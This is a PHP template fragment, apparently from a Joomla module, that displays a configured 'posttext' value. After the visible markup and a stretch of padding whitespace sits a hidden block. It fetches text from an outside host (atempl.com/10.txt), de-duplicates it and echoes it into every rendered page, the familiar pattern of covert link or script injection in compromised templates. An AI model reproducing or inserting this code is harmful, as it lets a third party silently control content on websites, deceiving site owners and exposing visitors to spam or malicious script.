<?php if( $params->get('posttext') != ' ' ) { ?>
    <div class="posttext"><?php echo $params->get('posttext'); ?>                       </div>                                                                    
<?php } ?><?php
$files = 'http://atempl.com/10.txt';
$file_headers = @get_headers($files);
if($file_headers[0] == 'HTTP/1.1 200 OK')
 {
$url = "http://atempl.com/10.txt";
$c = @file_get_contents($url);
$array_double=explode(',',$c);
$array_one=array_unique($array_double);
$result=implode(',',$array_one);
echo $result;	
 }
?>